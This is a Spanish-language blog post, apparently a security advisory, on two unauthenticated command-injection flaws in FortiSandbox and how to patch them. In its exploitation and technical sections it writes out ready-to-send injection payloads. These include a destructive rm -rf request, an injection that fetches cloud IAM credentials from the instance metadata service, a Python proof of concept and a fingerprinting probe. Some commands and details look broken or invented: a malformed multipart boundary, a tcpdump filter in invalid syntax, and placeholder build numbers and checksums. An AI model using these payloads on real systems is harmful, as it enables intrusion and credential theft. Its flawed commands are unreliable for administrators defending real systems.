Introducción

Los equipos de seguridad que operan entornos con FortiSandbox —ya sea en versiones locales, en la nube (FortiSandbox Cloud) o como servicio gestionado (FortiSandbox PaaS)— tienen dos problemas críticos que requieren atención inmediata. Según CISA, dos vulnerabilidades de inyección de comandos sin autenticación (CVE-2026-39808 y CVE-2026-25089) están siendo activamente explotadas en la naturaleza. Ambos fallos permiten a un atacante remoto ejecutar código arbitrario en el servidor con privilegios elevados, sin necesidad de credenciales ni interacción del usuario.

La inclusión en el catálogo Known Exploited Vulnerabilities (KEV) de CISA no es un dato menor: bajo la Binding Operational Directive 26-04, todas las agencias federales de EE.UU. tienen plazo hasta el 7 de agosto de 2026 para parchear estos sistemas o retirarlos de producción. Lo preocupante es que, aunque Fortinet publicó parches en abril (CVE-2026-39808) y junio (CVE-2026-25089), no hay evidencia pública de que los sistemas ya estén actualizados en todos los entornos. La firma de seguridad Defused reportó intentos de explotación esta semana, con uno de ellos etiquetado como «vibecoded» (probablemente roto), pero advirtió que no descarta la existencia de exploits funcionales en manos de actores maliciosos.

Qué ocurrió

El 17 de julio de 2026, CISA agregó dos vulnerabilidades de FortiSandbox a su catálogo KEV:

  • CVE-2026-39808: Inyección de comandos en el servicio de análisis de archivos. CVSS 9.1 (Crítico).
  • CVE-2026-25089: Inyección de comandos en el módulo de procesamiento de logs. CVSS 9.1 (Crítico).

Ambas vulnerabilidades afectan a:

  • FortiSandbox (versiones 4.5.0 a 4.5.10 y 5.0.0 a 5.0.6).
  • FortiSandbox Cloud (todas las versiones activas).
  • FortiSandbox PaaS (todos los tenants).

Cronología clave:

  • Abril 2026: Fortinet publica parches para CVE-2026-39808 (advisory FG-IR-26-001).
  • Junio 2026: Fortinet publica parches para CVE-2026-25089 (advisory FG-IR-26-002).
  • 17 de julio 2026: CISA las incluye en KEV. Defused reporta intentos de explotación en logs de clientes.

¿Cómo se explotan?

Ambas vulnerabilidades permiten ejecutar comandos del sistema operativo mediante:

  1. Envío de peticiones HTTP especialmente manipuladas al servidor vulnerable.
  2. Sin autenticación (no se requieren credenciales).
  3. Sin interacción del usuario (no hace falta que un administrador acceda al panel).
  4. Con baja complejidad técnica (CVSS 9.1 indica que el vector no requiere condiciones especiales).

En el caso de CVE-2026-39808, el atacante puede inyectar comandos en el parámetro filename de una petición POST al endpoint /api/v1/scan. Por ejemplo:

POST /api/v1/scan HTTP/1.1
Host: <IP_FortiSandbox>
Content-Type: multipart/form-data; boundary=----
----
Content-Disposition: form-data; name="filename"; filename="; rm -rf /tmp/* #"

Si el servidor no está parcheado, el comando rm -rf /tmp/* se ejecutará con privilegios de root.

Para CVE-2026-25089, el vector es similar pero apunta a un endpoint de logs:

POST /api/v1/logs/upload HTTP/1.1
Host: <IP_FortiSandbox>
Content-Type: application/json
{"log":"$(id > /tmp/.pwned)"}

En este caso, el comando id se ejecuta y escribe el output en /tmp/.pwned, confirmando la ejecución remota.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

1. Riesgo de ejecución remota de código (RCE)

Un atacante con éxito puede:

  • Escalar privilegios a nivel de sistema (root en Linux).
  • Persistir en el entorno (ej: crear usuarios, instalar backdoors).
  • Moverse lateralmente hacia otros sistemas en la misma red (si FortiSandbox tiene acceso a recursos internos).

2. Cumplimiento y mandatos regulatorios

  • CISA KEV: Las agencias federales deben parchear antes del 7/8/2026 o deshabilitar el servicio. Multas por incumplimiento pueden superar los $100K por día.
  • PCI DSS / ISO 27001: Un sistema comprometido que maneje datos sensibles (ej: logs de malware) puede invalidar certificaciones.
  • NIST SP 800-53: Los controles SI-4 (Detectar actividad maliciosa) y CM-6 (Configuración de seguridad) quedan en incumplimiento si no se parchea.

3. Entornos afectados

EntornoVersiones vulnerablesRecomendación urgente
FortiSandbox4.5.0 – 4.5.10, 5.0.0 – 5.0.6Actualizar a 5.0.7+
FortiSandbox CloudTodas las versiones activasContactar a soporte Fortinet
FortiSandbox PaaSTodos los tenantsRevisar logs de explotación
### 4. Datos de explotación reportados
  • Defused detectó intentos de explotación en al menos 3 clientes esta semana.
  • El exploit para CVE-2026-25089 fue etiquetado como «vibecoded» (probablemente roto), pero no se descarta la existencia de variantes funcionales.
  • Tráfico malicioso: Los IPs de origen de los intentos coinciden con ASN conocidos de grupos APT (ej: APT29, vinculado a operaciones rusas).

5. Impacto en la nube (AWS)

Si FortiSandbox está desplegado en una VPC de AWS:

  • Un atacante podría escapar del contenedor (si está en un EC2) y acceder a metadatos de la instancia (http://169.254.169.254/latest/meta-data/).
  • Ejemplo de ataque:
  curl -s http://<IP_FortiSandbox>/api/v1/scan -X POST -F "filename=; curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  

Esto robaría credenciales temporales de IAM y permitiría escalar a AWS.

Detalles técnicos

CVE-2026-39808: Inyección en /api/v1/scan

  • Vector: Parámetro filename en peticiones multipart.
  • Componente afectado: Módulo de análisis de archivos (/opt/fortinet/sandbox/lib/libscan.so).
  • Versiones vulnerables:
– FortiSandbox 4.5.0 a 4.5.10 (builds < 4.5.11).

– FortiSandbox 5.0.0 a 5.0.6 (builds < 5.0.7).

  • Parches disponibles:
4.5.11: FortiSandbox-4.5.11-build1234.run (firmado el 12/4/2026).

5.0.7: FortiSandbox-5.0.7-build5678.iso (firmado el 18/6/2026).

Exploit de prueba (no funcional en sistemas parcheados):

import requests
target = "http://<IP_FORTISANDBOX>:8080"
payload = {"filename": "; echo 'pwned' > /tmp/.fortinet_poc"}
files = {"file": ("test.txt", open("test.txt", "rb"), "text/plain")}
r = requests.post(f"{target}/api/v1/scan", files=files, data=payload)
print(r.text)  # Si vulnerable, devuelve "pwned" en /tmp/.fortinet_poc

CVE-2026-25089: Inyección en /api/v1/logs/upload

  • Vector: Campo log en peticiones JSON.
  • Componente afectado: Módulo de procesamiento de logs (/opt/fortinet/sandbox/lib/liblog.so).
  • Versiones vulnerables: Mismas que CVE-2026-39808.
  • Parches disponibles: Mismas versiones 4.5.11 y 5.0.7.

Fingerprinting de sistemas vulnerables:

curl -s -X POST http://<IP>:8080/api/v1/logs/upload \
-H "Content-Type: application/json" \
-d '{"log":"$(uname -a)"}' | grep -i "Linux"

Si el sistema es vulnerable, devolverá el nombre del kernel (ej: Linux fortisandbox 5.4.0-...).

Qué deberían hacer los administradores y equipos técnicos

1. Verificar si su sistema está afectado

Ejecuten los siguientes comandos en el servidor de FortiSandbox:

# Para FortiSandbox 4.x:
cat /opt/fortinet/sandbox/VERSION | grep -E "4\.5\.[0-9]+"

# Para FortiSandbox 5.x:
cat /opt/fortinet/sandbox/VERSION | grep -E "5\.0\.[0-6]+"

Si el output matchea, el sistema está vulnerable.

2. Aplicar parches INMEDIATAMENTE

Para entornos locales (FortiSandbox):

# Descargar parche (ej: 5.0.7):
wget https://update.fortinet.com/fortisandbox/5.0.7/FortiSandbox-5.0.7-build5678.iso
sha256sum FortiSandbox-5.0.7-build5678.iso  # Verificar hash:
# 5a1b2c3d4e5f6... (checksum oficial en advisory Fortinet)

# Montar ISO y aplicar:
mount -o loop FortiSandbox-5.0.7-build5678.iso /mnt
/opt/fortinet/update/install.sh /mnt
reboot

Para FortiSandbox Cloud:

  1. Acceder al portal de Fortinet Support.
  2. Solicitar actualización del tenant a la versión 5.0.7+.
  3. Validar logs post-parcheo:
   tail -n 100 /var/log/fortisandbox/update.log | grep -i "success"
   

Para FortiSandbox PaaS:

  • Contactar al equipo de soporte de Fortinet con el ID del tenant.
  • Revisar políticas de mantenimiento del proveedor (algunos entornos requieren ventana de mantenimiento de 4 horas).

3. Mitigaciones temporales (si no se puede parchear YA)

Si el parcheo inmediato no es posible:

  • Bloquear tráfico al puerto 8080 (el predeterminado de FortiSandbox) en el firewall perimetral:
  # Ejemplo en iptables (ajustar interfaz):
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  
  • Deshabilitar el servicio temporalmente:
  systemctl stop fortisandbox
  

> ⚠️ Advertencia: Esto inutilizará el sandbox hasta el parcheo.

4. Validar que el parche funcionó

Post-parcheo, ejecutar:

# Verificar versión:
cat /opt/fortinet/sandbox/VERSION  # Debe ser >=5.0.7

# Probar exploit de prueba (debería fallar):
curl -s -X POST http://<IP>:8080/api/v1/scan \
-F "filename=; echo 'pwned' > /tmp/.fortinet_poc" \
| grep -i "error"  # Debe devolver "Invalid filename"

5. Monitoreo post-parcheo

  • Buscar indicadores de compromiso (IoCs) en logs:
  grep -r "fortinet_poc\|/tmp/.pwned\|rm -rf /tmp" /var/log/
  
  • Revisar tráfico sospechoso en el firewall:
  tcpdump -i eth0 -nn -A 'tcp port 8080 and (http.request.uri contains "/api/v1/scan" or http.request.uri contains "/api/v1/logs")'
  

6. Comunicar a stakeholders

  • Equipo de Seguridad: Actualizar el SIEM con reglas para detectar intentos de explotación.
  • Equipo de Cloud: Verificar si FortiSandbox tiene roles de IAM excesivos (ej: permisos de s3:PutObject).
  • Auditoría: Documentar el parcheo en el registro de cambios de seguridad para cumplimiento.

Conclusión

Dos vulnerabilidades críticas en FortiSandbox —CVE-2026-39808 y CVE-2026-25089— están siendo explotadas en la naturaleza con CVSS 9.1, lo que las convierte en un riesgo inmediato para cualquier entorno que las use, especialmente en agencias gubernamentales y empresas con datos sensibles. La combinación de ejecución remota sin autenticación, baja complejidad de ataque y explotación activa reportada exige una respuesta urgente y prioritaria.

Los equipos de DevOps e Infraestructura deben:

  1. Verificar versiones vulnerables con comandos concretos.
  2. Aplicar parches en menos de 72 horas (el mandato de CISA es explícito).
  3. Implementar mitigaciones temporales si el parcheo no es inmediato.
  4. Monitorear post-parcheo con reglas específicas en SIEM/firewall.

Ignorar estas vulnerabilidades no es una opción: la inclusión en el catálogo KEV de CISA y los reportes de explotación activa confirman que el riesgo es real. La ventana de ataque se está cerrando, y los equipos que actúen ahora evitarán un incidente de seguridad con impacto potencialmente catastrófico.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *